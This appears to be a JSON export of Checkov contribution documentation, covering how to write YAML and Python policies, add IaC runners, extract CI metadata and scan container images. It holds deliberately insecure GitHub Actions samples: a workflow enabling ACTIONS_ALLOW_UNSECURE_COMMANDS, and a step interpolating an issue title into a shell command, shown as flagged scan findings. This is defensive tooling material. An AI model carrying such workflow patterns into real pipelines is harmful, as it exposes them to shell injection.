    "content": "---\nlayout: default\npublished: true\ntitle: Contribute YAML-based Policies\nnav_order: 3\n---\n\n# Contributing YAML-based Custom Policies\n\n1. Define a policy as described [here](https://www.checkov.io/3.Custom%20Policies/YAML%20Custom%20Policies.html).\n2. Create a branch under the `checkov2` fork (will be changed + the URLs after merge) - `https://github.com/bridgecrewio/checkov`\n3. Add `<policy_name>.yaml` file to `https://github.com/bridgecrewio/checkov/tree/main/checkov/terraform/checks/graph_checks` inside the relevant provider folder that matches your current policy.\n\n## Example\n`checkov/terraform/checks/graph_checks/aws/EBSAddedBackup.yaml`\n\n```yaml\nmetadata:\n  name: \"Ensure that EBS are added in the backup plans of AWS Backup\"\n  id: \"CKV2_AWS_9\"\n  category: \"BACKUP_AND_RECOVERY\"\ndefinition:\n  and:\n    - cond_type: connection\n      resource_types:\n        - aws_backup_selection\n      connected_resource_types:\n        - aws_ebs_volume\n      operator: exists\n    - cond_type: filter\n      attribute: resource_type\n      value:\n        - aws_ebs_volume\n      operator: within\n```\n\n## YAML Format Testing\n1 - Add the test resources directory to: `https://github.com/bridgecrewio/checkov/tree/main/tests/terraform/graph/checks/resources` and create a folder with the same name as your Custom Policy. In this folder, add the Terraform file(s) which are resources for testing the policy, and `expected.yaml` - all the resources that should pass and the resources that should fail.\n\n### Terraform Files Example \n`tests//terraform/graph/checks/resources/EBSAddedBackup/main.tf`\n\n```yaml\nresource \"aws_ebs_volume\" \"ebs_good\" {\n  availability_zone = \"us-west-2a\"\n  size              = 40\n \n  tags = {\n    Name = \"HelloWorld\"\n  }\n}\n \nresource \"aws_ebs_volume\" \"ebs_bad\" {\n  availability_zone = \"us-west-2a\"\n  size              = 40\n \n  tags = {\n    Name = \"HelloWorld\"\n  }\n}\n \nresource \"aws_backup_selection\" \"backup_good\" {\n  iam_role_arn = \"arn\"\n  name         = \"tf_example_backup_selection\"\n  plan_id      = \"123456\"\n \n  resources = [\n    aws_ebs_volume.ebs_good.arn\n  ]\n}\n \nresource \"aws_backup_selection\" \"backup_bad\" {\n  iam_role_arn = \"arn\"\n  name         = \"tf_example_backup_selection\"\n  plan_id      = \"123456\"\n \n  resources = [\n  ]\n}\n\n```\n\n## 'expected.yaml' File Example\n \n`tests/terraform/graph/checks/resources/EBSAddedBackup/expected.yaml`\n\n```yaml\npass:\n  - \"aws_ebs_volume.ebs_good\"\nfail:\n  - \"aws_ebs_volume.ebs_bad\"\n```\n \n2 - Add the test call into tests file - \n`tests/terraform/graph/checks/test_yaml_policies.py`\n### Example\n\n```yaml\n...\n    def test_EBSAddedBackup(self):\n        self.go(\"EBSAddedBackup\")\n...\n\n```\n"
  },
  {
    "path": "docs/6.Contribution/Contribution New IaC Runner.md",
    "content": "# Checkov Runner Contribution Guide\n\n## Introduction\n\n### Prologue:\n\nReference PR for the base YAML runner\n\n[https://github.com/bridgecrewio/checkov/pull/2535](https://github.com/bridgecrewio/checkov/pull/2535)\n\nReference PR for GitHub Action runner (based on the YAML runner)\n\n[https://github.com/bridgecrewio/checkov/pull/2551](https://github.com/bridgecrewio/checkov/pull/2551)\n\n## Glossary\n\n### What is Checkov?\n\nCheckov scans cloud infrastructure configurations to find misconfigurations before they&#39;re deployed.\n\nCheckov uses a common command-line interface to manage and analyze infrastructure as code (IaC) scan results across platforms such as Terraform, CloudFormation, Kubernetes, Helm, ARM Templates and Serverless framework.\n\n### What is a &quot;runner&quot;?\n\nA runner is a unit of code that plugs into the core Checkov &quot;engine&quot; designed to handle the parsing and idiosyncratic formatting of an IaC language such that it can be translated into a set of &quot;definitions&quot;. From there, contributors can create &quot;checks&quot; against the language for best practice and security misconfigurations.\n\n### Further Terminology\n\n**IaC** : This can be purpose-built, declarative languages for Infrastructure as Code for example Terraform or Cloud Formation. They can also be IaC formats like YAML or JSON which can be uniquely interpreted into a stateful format like Kubernetes (YAML or JSON) or GitHub Actions (YAML).\n\nFor new IaC formats, In the latter case, a generic JSON or YAML runner already exists to build upon.\n\n**Registry** : A registry is a data structure that collects a group of code objects. There is a registry for &quot;Checks&quot; and a Registry for &quot;Runners&quot; themselves. These allow for Checkov to be extensible. Adding new Checks and new Runners (like we doing here) can be done independently provided the new code is &quot;registered&quot; correctly.\n\n**Runner Registry** : A specific pre-existing registry that tracks all runners Checkov has available.\n\n**Resource** : A single unit within an IaC file upon which a check can be run. A resource may contain other subresource types. An IaC file can have multiple resources within against which Checks can be run.\n\n**NOTE** : There is an advantage to broad resource types which can extend to an entire file. This makes creating checks much easier. The disadvantage is that locations for fixes are far less granular than\n\n### Case Study: Identifying resource types in GitHub Actions YAML\n\nEach **resource** type will require it&#39;s own checks **registry** and **checks**.\n\nEg. GitHub Actions YAML\n```yaml\n    on: pull_request\n    \n    name: unsecure-worfklow\n    \n    jobs:\n    unsecure-job:\n    name: job2\n    runs-on: ubuntu-latest\n    env:\n        ACTIONS_ALLOW_UNSECURE_COMMANDS: true\n    steps:\n        - name: unsecure-step2\n        run: |\n            echo \"goo\"\n    secure-job:\n    name: job3\n    runs-on: ubuntu-latest\n    env:\n        ACTIONS_ALLOW_UNSECURE_COMMANDS: false\n    run: |\n        echo \"ok\"\n```\n\nAbove we can define three potential resource types.\n\n1. The &quot;workflow&quot; file as a whole.\n    * Misconfigurations (and Fixes) will be presented against the entire file.\n2. The &quot;jobs&quot; which we can see is an array\n    * Misconfigurations (and potentially fixes) will be presented within a specified line numbers respective to the job. This is a better user experience and workflows.\n3. The &quot;steps&quot; within a job which also can be an array.\n    * In this case the most accurate result as misconfigurations (and fixes) will be far more precise and can enable the later use of platform features like Smart Fixes.\n\n**Definition/Entity** : This is an internal abstraction of the &quot;resource&quot; IaC into an internal data structure in Checkov against which our Checkov rules will be applied.\n\n**Check** : An autonomous piece of logic that is run against a &quot;resource&quot; within declarative code structure that traverses and understands the idiosyncratic schema and applies a specific best practice or security checks. \n\n**Report** : This is where the results of the checks are summarised into a report prior to being output in a variety of formats. Like the definitions, the report is initially a data structure that is independent of the eventually requested format (eg. CycloneDX, JSON, CLI text).\n\n### Option 1: Using YAML or JSON base runners with built-in parsers\n\n![](../runner_files.png)\n\n##### The major checkov files we will be modifying or inheriting from, for our example runner.\n\nIf your runner is using a known IaC language like JSON or YAML then you will be inheriting a lot from these existing runners.\n\nCopy and paste the contents of the &quot;example\\_runner&quot; which can be found in ../checkov/example\\_runner changing the name to your new runner type.\n\nEg. cp -r example_runner mynewiac_runner\n\n…where mynewiac\\_runner will represent your runner name for the rest of these docs\n\nYou&#39;ll be getting, out of the box, a documented set of files within each should be the instructions of what needs to be modified. The tree structure looks like this\n\n    mynewiac_runner\n    ├── __init__.py\n    ├── checks\n    │ ├── __init__.py\n    │ ├── base_github_action_check.py\n    │ ├── base_github_action_job_check.py\n    │ ├── job\n    │ │ ├── ExampleCheckTrueFalse.py\n    │ │ └── __init__.py\n    │ └── job_registry.py\n    ├── common\n    │ └── __init__.py\n    └── runner.py\n\n#### Change the first line in the base __init.py__ to your runner name\nEg. \n    from checkov.mynewiac_runner.checks import *\n\n#### Create a new check type to class CheckType to be used in your new runner\n\nThis can be found at the top of the common/output/report.py\n\n    MYNEWIAC = \"mynewiac\"\n\nEg. \n    GITHUB_ACTIONS = \"github_actions\";\n\n#### Add our new check type to our own runner.py file at\n\nThis can be found at the top of the class Runner in mynewiac\\_runner/runner.py\n\n    check_type = CheckType.MYNEWIAC\n\n#### Define our resources and from there are check registries.\n\nIn the example runner there is a checks directory with three key files\n\n    ├── checks\n    ├── base_github_action_check.py\n    ├── base_github_action_job_check.py\n    └── job_registry.py\n\nWhere we have the potential for multiple resource types within a single IaC file (a common occurrence), we have created a base check and from there a sub class of this for the specific resource type. In our example case this is a &quot;job&quot;.\n\nBecause our resource is a &quot;job&quot; we create a registry for checks to be run against this resource type. You will need to duplicate the base check and registry for each resource type in your IaC.\n\nReturn to runner.py to make it unique\n\nThere are a few abstract functions defined in the base ObjectRunner that we need to override.\n\nImport\\_registry(self): Will register our registries for each block/resource type\n\n\\_parse\\_file(self.f): Will make a decision as to whether the file &#39;f&#39; is one we care about or not based on unique identity criteria (eg. path, headers, content unique to this IaC). If it is one for us we pass it to the superclass function.\n\nget\\_start\\_end\\_lines(self, end, result\\_config, start): For reporting, different IaC resource blocks will have different methods to determine the beginning and end line numbers.\n\nThe YAML/JSON runners already handle the &quot;get\\_start\\_end\\_lines&quot; function for us.\n\nOur \\_parse\\_file for the github actions runner simply filtered out files that we&#39;re not relevant for our runner\n\nEg.\n\n    if \".github/workflows/\"; in os.path.abspath(f):\n        return super()._parse_file(f)\n\nYour runner can follow suit and use any number of criteria to ignore files.\n\n**NOTE: By default, all IaC files are passed into all runners to allow the runners to decided if their registry of checks are appropriate. This is where that decision is made.** \n\n#### Add to checkov/common/utils/docs\\_generator.py at the top of the file\n\n    from checkov.mynewiac_runner.checks.job_registry import registry as your_runner_registry\n\nEg. \n    from checkov.github_actions.checks.job_registry import registry as github_actions_jobs_registry\n\nAdd your runner to main.py\n\nMake it visible to Checkov by declaring this dependency. You&#39;ll find these starting from line 18 in main.py.\n\nYour runner can be added to the bottom of the list like\n\n    from checkov.mynewiac_runner.runner import Runner as mynewiac_runner\n\nFrom here you can then add the call to the runner to the data structure on line 67\n\n    DEFAULT_RUNNERS = \n    ( \n        mynewiac_runner(), \n        cfn_runner(), \n        k8_runner(), \n        sls_runner(), \n        arm_runner(), \n\n\n#### Persist added checks into the policy index in the docs (automatically) \nAdd the runner directory name to the build.yaml file &quot;for loop&quot;.\n.github/workflows/build.yml\n\nLine 141 in build.yaml:\n\n    for i in cloudformation terraform kubernetes serverless arm dockerfile secrets github_configuration gitlab_configuration bitbucket_configuration mynewiac_runner all\n\nExample: [https://github.com/bridgecrewio/checkov/pull/2551/files#diff-5c3fa597431eda03ac3339ae6bf7f05e1a50d6fc7333679ec38e21b337cb6721R141](https://github.com/bridgecrewio/checkov/pull/2551/files#diff-5c3fa597431eda03ac3339ae6bf7f05e1a50d6fc7333679ec38e21b337cb6721R141)\n\n### Now Checkov will call your runner!\n\n#### Create an example check\n\nReference: \n[Contribute Python-Based Policies](https://github.com/bridgecrewio/checkov/blob/main/docs/6.Contribution/Contribute%20Python-Based%20Policies.md)\n\n\n#### Create test cases\n\nTBD\n\n"
  },
  {
    "path": "docs/6.Contribution/Contribution Overview.md",
    "content": "---\nlayout: default\npublished: true\ntitle: Contribution Overview\nnav_order: 1\n---\n\n# Contribution Overview\n\nCheckov users are encouraged to contribute their custom Policies to help increase our existing IaC coverage.\nOur aim is to help close gaps in real-world hardening, assessments, auditing and forensics. In other words, we specifically encourage contribution of new Policies that you think should be globally accepted when provisioning and changing infrastructure.\n\nThe main aspects of contributing new Policies are:\n  * Preparing the prerequisites\n  * Creating and Testing the Custom Policy (either YAML or Python format)\n  * Pull Request\n\n## Prerequisites\n\n### Installation\n\nFirst, make sure you installed and configured Checkov correctly. If you are unsure, go back and read the [Installing Checkov documentation](https://www.checkov.io/2.Basics/Installing%20Checkov.html).\n\nPreferably by now you have either scanned a folder containing Terraform state-files or went ahead and integrated Checkov as part of your CI/CD pipeline.\n\n### Add A Check via CLI Prompt\nLet's assume we're trying to create a new AWS resource Check to ensure all of our `aws_iam_policy`'s have a tag that says `{ \"Checkov\" = \"IsAwesome\" }`\n\n1. Run `checkov --add-check`\n2. Answer the prompts\n      ```\n      $ checkov --add-check\n             _               _\n         ___| |__   ___  ___| | _______   __\n        / __| '_ \\ / _ \\/ __| |/ / _ \\ \\ / /\n       | (__| | | |  __/ (__|   < (_) \\ V /\n        \\___|_| |_|\\___|\\___|_|\\_\\___/ \\_/\n\n      By Prisma Cloud | version: ...\n\n      What action would you like to take? (add) [add]: add\n\n      Enter the title of your new check (without a .py) [MyNewTest]: CheckovIsAwesomeTag\n\n      Select a category for this check (application_security, backup_and_recoveryconvention, encryption, general_security, iam, kubernetes, logging, networking, secrets) [iam]: general_security\n\n      Describe what this check does [Ensure that X does Y...]: Makes sure that aws_iam_policy resources have a tag that says {'Checkov' = IsAwesome'}\n\n      What kind of check would you like to add? (terraform) [terraform]: terraform\n\n      Select the cloud provider this will run on (azure, aws, gcp) [aws]: aws\n\n      Select a terraform object for this check (data, provider, resource) [resource]: resource\n\n      Enter the terraform object type [aws_iam_policy]: aws_iam_policy\n\n      Please ensure you are at the root of the Checkov repository before completing this prompt\n      Creating Check CheckovIsAwesomeTag.py in /path/to/checkov/checkov/terraform/checks/resource/aws\n          Successfully created /path/to/checkov/checkov/terraform/checks/resource/aws/CheckovIsAwesomeTag.py\n      Creating Unit Test Stubs for CheckovIsAwesomeTag in /path/to/checkov/tests/terraform/checks/resource/aws\n          Successfully created /path/to/checkov/tests/terraform/checks/resource/aws/example_CheckovIsAwesomeTag/CheckovIsAwesomeTag.tf\n          Successfully created /path/to/checkov/tests/terraform/checks/resource/aws/test_CheckovIsAwesomeTag.py\n\n      Next steps:\n          1) Edit your new check located in the checks/ directory listed above\n          2) Add both a PASS and FAIL unit test to the newly created unit test under the tests/ directory to show others how to fix failures\n      ```\n3. Go to your new Check at `/path/to/checkov/checkov/terraform/checks/resource/aws/CheckovIsAwesomeTag.py`\n4. Edit the `scan_resource_conf()` function to look like the following:\n    ```\n    def scan_resource_conf(self, conf):\n        if 'tags' in conf.keys():\n            tags = conf['tags'][0]\n            if \"Checkov\" in tags:\n                if tags[\"Checkov\"] == \"IsAwesome\":\n                    return CheckResult.PASSED\n\n        return CheckResult.FAILED\n    ```\n \n5. Go to your new Unit Test Terraform at `/path/to/checkov/tests/terraform/checks/resource/aws/example_CheckovIsAwesomeTag/CheckovIsAwesomeTag.tf`\n6. Edit the terraform resources to contain the following:\n    ```\n    ## SHOULD PASS: Contains {Checkov: IsAwesome} key/value\n    resource \"aws_iam_policy\" \"ckv_unittest_pass\" {\n      tags = {\n        \"Checkov\" = \"IsAwesome\"\n      }\n    }\n\n    ## SHOULD FAIL: Value does not equal \"IsAwesome\"\n    resource \"aws_iam_policy\" \"ckv_unittest_fail\" {\n      tags = {\n        \"Checkov\" = \"IsLame\"\n      }\n    }\n\n    ```\n7. Run your tests `pytest -k test_CheckovIsAwesomeTag`\n    ```\n    $ pytest -k test_CheckovIsAwesome\n    ================================================================================ test session starts ================================================================================\n    platform darwin -- Python 3.10.14, pytest-6.2.5, py-1.10.0, pluggy-1.0.0\n    rootdir: /path/to/checkov\n    plugins: xdist-2.4.0, forked-1.3.0, cov-3.0.0\n    collected 1952 items / 1951 deselected / 1 selected\n\n    tests/terraform/checks/resource/aws/test_CheckovIsAwesomeTag.py .                                                                                                             [100%]\n\n    ======================================================================== 1 passed, 1951 deselected in 7.16s =========================================================================\n    ```\n9. Let's add another unit test for a missing tag:\n    ```\n    ## SHOULD PASS: Contains {Checkov: IsAwesome} key/value\n    resource \"aws_iam_policy\" \"ckv_unittest_pass\" {\n      tags = {\n        \"Checkov\" = \"IsAwesome\"\n      }\n    }\n\n    ## SHOULD FAIL: Value does not equal \"IsAwesome\"\n    resource \"aws_iam_policy\" \"ckv_unittest_fail\" {\n      tags = {\n        \"Checkov\" = \"IsLame\"\n      }\n    }\n\n    ## SHOULD FAIL: Missing \"Checkov\" tag\n    resource \"aws_iam_policy\" \"ckv_unittest_fail_1\" {\n      tags = {\n        \"SomethingElse\" = \"IsAwesome\"\n      }\n    }\n    ```\n10. Run your tests again `pytest -k test_CheckovIsAwesomeTag`\n    ```\n            ...\n            self.assertEqual(summary['passed'], len(passing_resources))\n    >       self.assertEqual(summary['failed'], len(failing_resources))\n    E       AssertionError: 2 != 1\n\n    tests/terraform/checks/resource/aws/test_CheckovIsAwesomeTag.py:33: AssertionError\n    ============================================================================== short test summary info ==============================================================================\n    FAILED tests/terraform/checks/resource/aws/test_CheckovIsAwesomeTag.py::TestCheckovIsAwesomeTag::test - AssertionError: 2 != 1\n    ======================================================================== 1 failed, 1951 deselected in 7.40s =========================================================================\n    ```\n11. We failed! Let's fix it. Go to our new Unit Test file `/path/to/checkov/tests/terraform/checks/resource/aws/test_CheckovIsAwesomeTag.py`\n12. Notice lines 23-25. Right now, we are configured to only have one failing resource `'aws_iam_policy.ckv_unittest_fail'`\n13. Edit `failing_resources` to include our newly added Terraform resource:\n    ```\n    ...\n    passing_resources = {\n        'aws_iam_policy.ckv_unittest_pass'\n    }\n    failing_resources = {\n        'aws_iam_policy.ckv_unittest_fail',\n        'aws_iam_policy.ckv_unittest_fail_1' # <-- Add this line!\n    }\n    ...\n    ```\n14. Run your tests again `pytest -k test_CheckovIsAwesomeTag`\n    ```\n    $ pytest -k test_CheckovIsAwesome\n    ================================================================================ test session starts ================================================================================\n    platform darwin -- Python 3.10.14, pytest-6.2.5, py-1.10.0, pluggy-1.0.0\n    rootdir: /Users/joseph.meredith/dev/jmeredith18/checkov\n    plugins: xdist-2.4.0, forked-1.3.0, cov-3.0.0\n    collected 1952 items / 1951 deselected / 1 selected\n\n    tests/terraform/checks/resource/aws/test_CheckovIsAwesomeTag.py .                                                                                                             [100%]\n\n    ======================================================================== 1 passed, 1951 deselected in 6.90s =========================================================================\n    ```\n15. Go make your own Checks, test them, and contribute! \n   \n### Custom Policy Structure\n\nEach check consists of the following mandatory properties:\n\n**name:** A new Custom Policy's unique purpose. It should ideally specify the positive desired outcome of the policy.\n\n**ID:** A mandatory unique identifier of a policy. Policies written by Checkov maintainers follow the following convention: **CKV_providerType_serialNumber**. (e.g., CKV_AWS_9 , CKV_GCP_12)\n\n**Categories:** A categorization of a scan. This is usually helpful when producing compliance reports, pipeline analytics and health metrics. Check out our existing categories before creating a new one.\n\nWhen contributing a Custom Policy, please increment the ID number to be x+1, where x is the serial number of the latest implemented Custom Policy, with respect to its provider (e.g., AWS).\n\nA more specific type of Custom Policy may also include additional attributes. For example, a check that scans a Terraform resource configuration also contains the supported_resources attribute, which is a list of the supported resource types of the check.\n\n\n### Result\n\nThe result of a scan should be a binary result of either PASSED or FAILED. We have also included an UNKNOWN option, which means that it is unknown if the scanned configuration complied with the check. If your check could have edge cases that might not be supported by the scanner’s current logic, consider support the UNKNOWN option.\n\nAdditionally, a Policy can be suppressed by Checkov on a given configuration by inserting a skip comment inside a specific configuration scope. Then, the result for that Policy would be SKIPPED.\nFor further details, see [Suppressions](https://www.checkov.io/2.Basics/Suppressing%20and%20Skipping%20Policies.html).\n\n### IaC Type Scanner\n\nIdentify which IaC type the check will test. Currently, Checkov can scan either Terraform or CloudFormation configuration files.\nPlace your code in the `checkov/<scanner>` folder, where `<scanner>` is either `terraform` or `cloudformation`.\n\nIdentify which IaC type will be tested under the Custom Policy. Currently, Checkov scans either Terraform or CloudFormation configuration files. Place your code in the `checkov/<scanner>` folder, where `<scanner>` is either terraform or cloudformation.\n\n### Custom Policy Type and Provider\n\nCustom Policies are divided first into folders grouped by type, and then grouped by provider.\n\nCustom Policies should relate to a common IaC configuration type of a specific public cloud provider. For example, a Custom Policy that validates the encryption configuration of an S3 bucket is considered to be of type `resource`, and of `aws` provider.\n\nIdentify the type and provider of the new Custom Policy in order to place it correctly under the project structure. For example, the mentioned above check is already implemented in Checkov under `checkov/terraform/checks/resource/aws/S3Encryption.py`.\n\nNotice that Custom Policies are divided into folders grouped by type, and then grouped provider.\n\n### Review IaC Configuration Documentation\n\nIf available, please provide the official Terraform or CloudFormation documentation of the checked configuration. This helps users to better understand the Custom Policy's scanned configuration and usage.\n\nFor example, the documentation for the Custom Policy mentioned above is [here](https://www.checkov.io/3.Custom%20Policies/Custom%20Policies%20Overview.html).\n\n### Sample IaC Configuration\n\nIn order to develop the Custom Policy, a relevant example configuration should be presented as an input to Checkov. Provide a sample configuration (e.g., `example.tf`, `template.json`) that contains both passing and failing configurations with respect to the Custom Policy's logic. The file can be served as an input to the appropriate Custom Policy's unit tests.\n\n## Creating and Testing the Custom Policy\n  * See [Create Python Policies](https://www.checkov.io/3.Custom%20Policies/Python%20Custom%20Policies.html) and [Contribute Python-Based Policies](https://www.checkov.io/6.Contribution/Contribute%20Python-Based%20Policies.html).\n  * See [Create YAML Policies](https://www.checkov.io/3.Custom%20Policies/YAML%20Custom%20Policies.html) and [Contribute YAML-Based Policies](https://www.checkov.io/6.Contribution/Contribute%20YAML-based%20Policies.html).\n\n## Pull Request\nOpen a PR that contains the implementation code and testing suite, with the following information:\n\n  * Custom Policy `id`.\n  * Custom Policy `name`.\n  * Custom Policy IaC type.\n  * Custom Policy type and provider.\n  * IaC configuration documentation (If available).\n  * Sample Terraform configuration file.\n  * Any additional information that would help other members to better understand the check.\n"
  },
  {
    "path": "docs/6.Contribution/Implementing CI Metadata Extractor.md",
    "content": "# Implementing CI Metadata extractor\nCI/CD jobs have environment variables that can enrich the execution context.\nAttributes like:\n1. Author of the run\n2. Commit sha\n3. Pull request ID\n4. Link to the host running the CI \n\nThose attributes can be added by reading environment variables published on the public docs of CI/CD vendors.\nExamples: \nhttps://docs.gitlab.com/ee/ci/variables/predefined_variables.html\nhttps://docs.github.com/en/actions/learn-github-actions/environment-variables\n\n## How to implement a new Run metadata extractor?\nYou'll need to implement a new class derived from RunMetaDataExtractor and commit it into the directory `checkov/common/bridgecrew/run_metadata/extractors`.\nExample:\n\n```python\nimport os\n\nfrom checkov.common.bridgecrew.run_metadata.abstract_run_metadata_extractor import RunMetaDataExtractor\n\n\nclass GithubActionsRunMetadataExtractor(RunMetaDataExtractor):\n    def is_current_ci(self):\n        if os.getenv(\"GITHUB_ACTIONS\", \"\"):\n            return True\n        return False\n\n    def __init__(self):\n        server_url = os.getenv('GITHUB_SERVER_URL', '')\n        from_branch = os.getenv('GIT_BRANCH', \"master\")\n        to_branch = os.getenv('GITHUB_BASE_REF', \"\")\n        pr_id = os.getenv(\"$GITHUB_REF\", \"//\").split(\"/\")\n        repository = os.getenv('GITHUB_REPOSITORY', \"\")\n        pr_url = f\"{server_url}/{repository}/pull/{pr_id}\"\n        commit_hash = os.getenv(\"GITHUB_SHA\", \"\")\n        commit_url = f\"{server_url}/{repository}/commit/${commit_hash}\"\n        author_name = os.getenv(\"GITHUB_ACTOR\", \"\")\n        author_url = f\"{server_url}/{author_name}\"\n        run_id = os.getenv(\"GITHUB_RUN_NUMBER\", \"\")\n        run_url = f\"{server_url}/{repository}/actions/runs/{run_id}\"\n        repository_url = f\"{server_url}/{repository}\"\n\n        super().__init__(from_branch=from_branch,\n                         to_branch=to_branch,\n                         pr_id=pr_id,\n                         pr_url=pr_url,\n                         commit_hash=commit_hash,\n                         commit_url=commit_url,\n                         author_name=author_name,\n                         author_url=author_url,\n                         run_id=run_id,\n                         run_url=run_url,\n                         repository_url=repository_url)\n\n\nextractor = GithubActionsRunMetadataExtractor()\n\n```\n"
  },
  {
    "path": "docs/6.Contribution/Implementing ImageReferencer.md",
    "content": "# Implementing ImageReferencer\nThe relevant class can be found at `checkov/common/images/image_referencer.py`\n## How was the idea born?\nContainer images are referenced widely across CI workflow files, Terraform, Serverless, K8 manifests, etc. \nThose files can naturally have a misconfig and reference an image with a vulnerability.\n\nWhen using checkov with API token, checkov gets that capability to perform image scanning and utilize Prisma cloud compute vulnerability DB.\nIf `ImageReferencer` is derived by a `Runner`than referenced images in an IaC file can be scanned for vulnerabilities.\n\n## Would container images are scanned automatically? \nYes, If the `--framework` `sca_image` is not excluded from the execution scope, an API token is provided.\nThe automatic scanning is happening thanks to the registration process for any Derived class of ImageReferencers that occurs in `RunnerRegistry` init.    \nImplementing image referencer will mean scan results will take additional time since images are being pulled.\n \n## What needs to be implemented? \nLook at: `checkov/common/images/image_referencer.py`  \nand the derived class: `checkov/github_actions/runner.py`\n\n\n## Example CLI command \n```bash\ncheckov -d /checkov/integration_tests/example_workflow_file/.github/workflows/ --framework sca_image --bc-api-key SOME_TOKEN\n```\n\n```bash\n\n       _               _              \n   ___| |__   ___  ___| | _______   __\n  / __| '_ \\ / _ \\/ __| |/ / _ \\ \\ / /\n | (__| | | |  __/ (__|   < (_) \\ V / \n  \\___|_| |_|\\___|\\___|_|\\_\\___/ \\_/  \n                                      \nBy Prisma Cloud | version: x.x.x\n\ngithub_actions scan results:\n\nPassed checks: 7, Failed checks: 1, Skipped checks: 0\n\nCheck: CKV_GHA_1: \"Ensure ACTIONS_ALLOW_UNSECURE_COMMANDS isn't true on environment variables on a job\"\n\tPASSED for resource: /Users/barak/Documents/dev/bridgecrew/checkov3/integration_tests/example_workflow_file/.github/workflows/vulnerable_container.yaml.jobs.my_job.CKV_GHA_1\n\tFile: /Users/barak/Documents/dev/bridgecrew/checkov3/integration_tests/example_workflow_file/.github/workflows/vulnerable_container.yaml:8-17\nCheck: CKV_GHA_1: \"Ensure ACTIONS_ALLOW_UNSECURE_COMMANDS isn't true on environment variables on a job\"\n\tPASSED for resource: /Users/barak/Documents/dev/bridgecrew/checkov3/integration_tests/example_workflow_file/.github/workflows/vulnerable_container.yaml.jobs.my_job2.CKV_GHA_1\n\tFile: /Users/barak/Documents/dev/bridgecrew/checkov3/integration_tests/example_workflow_file/.github/workflows/vulnerable_container.yaml:18-27\nCheck: CKV_GHA_1: \"Ensure ACTIONS_ALLOW_UNSECURE_COMMANDS isn't true on environment variables on a job\"\n\tPASSED for resource: /Users/barak/Documents/dev/bridgecrew/checkov3/integration_tests/example_workflow_file/.github/workflows/vulnerable_container.yaml.jobs.unsecure-job.CKV_GHA_1\n\tFile: /Users/barak/Documents/dev/bridgecrew/checkov3/integration_tests/example_workflow_file/.github/workflows/vulnerable_container.yaml:28-36\nCheck: CKV_GHA_1: \"Ensure ACTIONS_ALLOW_UNSECURE_COMMANDS isn't true on environment variables on a job\"\n\tPASSED for resource: /Users/barak/Documents/dev/bridgecrew/checkov3/integration_tests/example_workflow_file/.github/workflows/vulnerable_container.yaml.jobs.secure-job.CKV_GHA_1\n\tFile: /Users/barak/Documents/dev/bridgecrew/checkov3/integration_tests/example_workflow_file/.github/workflows/vulnerable_container.yaml:37-40\nCheck: CKV_GHA_2: \"Ensure run commands are not vulnerable to shell injection\"\n\tPASSED for resource: /Users/barak/Documents/dev/bridgecrew/checkov3/integration_tests/example_workflow_file/.github/workflows/vulnerable_container.yaml.jobs.my_job.CKV_GHA_2\n\tFile: /Users/barak/Documents/dev/bridgecrew/checkov3/integration_tests/example_workflow_file/.github/workflows/vulnerable_container.yaml:8-17\nCheck: CKV_GHA_2: \"Ensure run commands are not vulnerable to shell injection\"\n\tPASSED for resource: /Users/barak/Documents/dev/bridgecrew/checkov3/integration_tests/example_workflow_file/.github/workflows/vulnerable_container.yaml.jobs.my_job2.CKV_GHA_2\n\tFile: /Users/barak/Documents/dev/bridgecrew/checkov3/integration_tests/example_workflow_file/.github/workflows/vulnerable_container.yaml:18-27\nCheck: CKV_GHA_2: \"Ensure run commands are not vulnerable to shell injection\"\n\tPASSED for resource: /Users/barak/Documents/dev/bridgecrew/checkov3/integration_tests/example_workflow_file/.github/workflows/vulnerable_container.yaml.jobs.secure-job.CKV_GHA_2\n\tFile: /Users/barak/Documents/dev/bridgecrew/checkov3/integration_tests/example_workflow_file/.github/workflows/vulnerable_container.yaml:37-40\nCheck: CKV_GHA_2: \"Ensure run commands are not vulnerable to shell injection\"\n\tFAILED for resource: /Users/barak/Documents/dev/bridgecrew/checkov3/integration_tests/example_workflow_file/.github/workflows/vulnerable_container.yaml.jobs.unsecure-job.CKV_GHA_2\n\tFile: /Users/barak/Documents/dev/bridgecrew/checkov3/integration_tests/example_workflow_file/.github/workflows/vulnerable_container.yaml:28-36\n\n\t\t28 |     runs-on: ubuntu-latest\n\t\t29 |     run: |\n\t\t30 |       title=\"${{ github.event.issue.title }}\"\n\t\t31 |       if [[ ! $title =~ ^.*:\\ .*$ ]]; then\n\t\t32 |         echo \"Bad issue title\"\n\t\t33 |         exit 1\n\t\t34 |       fi\n\t\t35 |   secure-job:\n\t\t36 |     name: job2\n\nsca_image scan results:\n\nPassed checks: 0, Failed checks: 989, Skipped checks: 0\n\n\t//Users/barak/Documents/dev/bridgecrew/checkov3/integration_tests/example_workflow_file/.github/workflows/vulnerable_container.yaml (sha256:6a353e22ce)\n\t┌────────────────────┬────────────────────┬────────────────────┬────────────────────┬────────────────────┬────────────────────┐\n\t│ Total CVEs: 344    │ critical: 8        │ high: 19           │ medium: 24         │ low: 293           │ skipped: 0         │\n\t├────────────────────┴────────────────────┴────────────────────┴────────────────────┴────────────────────┴────────────────────┤\n\t├────────────────────┬────────────────────┬────────────────────┬────────────────────┬────────────────────┬────────────────────┤\n\t│ Package            │ CVE ID             │ Severity           │ Current version    │ Fixed version      │ Compliant version  │\n\t├────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┤\n\t│ libwebp            │ CVE-2018-25014     │ critical           │ 0.5.2-1            │ 0.5.2.post1+deb9u1 │ 0.5.2.post1+deb9u1 │\n\t│                    │ CVE-2018-25011     │ critical           │                    │ 0.5.2.post1+deb9u1 │                    │\n\t│                    │ CVE-2018-25013     │ critical           │                    │ 0.5.2.post1+deb9u1 │                    │\n\t│                    │ CVE-2018-25012     │ critical           │                    │ 0.5.2.post1+deb9u1 │                    │\n\t│                    │ CVE-2018-25010     │ critical           │                    │ 0.5.2.post1+deb9u1 │                    │\n\t│                    │ CVE-2018-25009     │ critical           │                    │ 0.5.2.post1+deb9u1 │                    │\n\t│                    │ CVE-2020-36332     │ low                │                    │ N/A                │                    │\n\t│                    │ CVE-2020-36331     │ low                │                    │ 0.5.2.post1+deb9u1 │                    │\n\t│                    │ CVE-2020-36330     │ low                │                    │ 0.5.2.post1+deb9u1 │                    │\n\t│                    │ CVE-2020-36329     │ low                │                    │ 0.5.2.post1+deb9u1 │                    │\n\t│                    │ CVE-2020-36328     │ low                │                    │ 0.5.2.post1+deb9u1 │                    